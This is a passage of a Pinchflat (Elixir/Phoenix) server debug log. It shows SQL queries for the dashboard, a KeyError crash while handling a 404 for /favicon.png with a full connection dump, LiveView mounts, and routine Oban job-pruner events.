livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:56:15.772 [debug] QUERY OK source="sources" db=0.2ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:56:15.774 [info] Sent 200 in 14ms 04:56:15.977 [info] GET /favicon.png 04:56:15.978 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=211.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:15.979 [debug] QUERY OK source="settings" db=0.4ms idle=211.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:15.979 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:56:15.981 [error] #PID<0.139473.0> running PinchflatWeb.Endpoint (connection #PID<0.139470.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /favicon.png ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /favicon (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.png", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 35984}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "okhttp/5.3.0", "x-forwarded-for" => "98.84.186.219", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "98.84.186.219" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139473.0>, params: %{}, path_info: ["favicon"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "okhttp/5.3.0"}, {"x-forwarded-for", "98.84.186.219"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "98.84.186.219"} ], request_path: "/favicon.png", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU9OUzW7sBaa8AADQE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.png", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 35984}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "okhttp/5.3.0", "x-forwarded-for" => "98.84.186.219", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "98.84.186.219" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /favicon (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.png", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 35984}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "okhttp/5.3.0", "x-forwarded-for" => "98.84.186.219", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "98.84.186.219" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139473.0>, params: %{}, path_info: ["favicon"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "okhttp/5.3.0"}, {"x-forwarded-for", "98.84.186.219"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "98.84.186.219"} ], request_path: "/favicon.png", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU9OUzW7sBaa8AADQE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :ca (truncated) 04:56:35.732 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:58.875 [info] GET / 04:56:58.875 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:56:58.875 [debug] QUERY OK source="settings" db=0.1ms idle=1337.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:58.876 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1338.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:56:58.876 [debug] QUERY OK source="sources" db=0.1ms idle=1338.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:56:58.877 [debug] QUERY OK source="media_items" db=0.8ms idle=1338.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:58.877 [debug] QUERY OK source="media_items" db=0.3ms idle=576.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:58.878 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:58.878 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:58.878 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:58.879 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:56:58.880 [debug] QUERY OK source="media_items" db=0.7ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:58.881 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:56:58.881 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:56:58.884 [debug] QUERY OK source="media_items" db=1.1ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:56:58.886 [debug] QUERY OK source="media_items" db=1.5ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:56:58.886 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:56:58.887 [info] Sent 200 in 12ms 04:56:59.193 [info] CONNECTED TO Phoenix.LiveView.Socket in 67µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "dx85JhMGKwNXXBgXAxoFXxQOHwI2LWo64hXrZ7Sn50lrQoo8qgY1wbYH", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.ocaff.com/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.ocaff.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 04:56:59.229 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "CwaTI1xmblteRujgeiF3AO3r", "media_state" => "downloaded"} 04:56:59.231 [debug] QUERY OK source="media_items" db=1.8ms idle=348.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:59.233 [debug] QUERY OK source="media_items" db=1.4ms idle=350.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:56:59.234 [debug] QUERY OK source="sources" db=0.2ms idle=349.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:56:59.234 [debug] Replied in 5ms 04:56:59.236 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "CwaTI1xmblteRujgeiF3AO3r", "media_state" => "pending"} 04:56:59.238 [debug] QUERY OK source="media_items" db=1.4ms idle=350.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:56:59.239 [debug] QUERY OK source="media_items" db=1.5ms idle=351.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:56:59.240 [debug] QUERY OK source="sources" db=0.2ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:56:59.240 [debug] Replied in 3ms 04:56:59.241 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "CwaTI1xmblteRujgeiF3AO3r"} 04:56:59.242 [debug] QUERY OK source="tasks" db=0.1ms idle=8.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:56:59.242 [debug] Replied in 401µs 04:56:59.242 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "CwaTI1xmblteRujgeiF3AO3r"} 04:56:59.242 [debug] Replied in 60µs 04:57:00.904 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:05.734 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:35.735 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.906 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:05.737 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:35.738 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.906 [info] {"source":"oban","duration":109,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:05.739 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:35.739 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.907 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:05.740 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:35.742 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:48.152 [info] GET / 05:00:48.152 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:00:48.153 [debug] QUERY OK source="settings" db=0.7ms idle=614.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:48.153 [debug] QUERY OK source="media_profiles" db=0.1ms idle=615.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:00:48.154 [debug] QUERY OK source="sources" db=0.3ms idle=615.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:00:48.155 [debug] QUERY OK source="media_items" db=0.9ms idle=615.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:00:48.156 [debug] QUERY OK source="media_items" db=0.5ms idle=425.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:00:48.156 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:48.156 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:48.157 [debug] QUERY OK source="settings" db=0.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:48.159 [debug] QUERY OK source="tasks" db=0.2ms queue=0.2ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:00:48.160 [debug] QUERY OK source="media_items" db=0.7ms idle=3.5ms 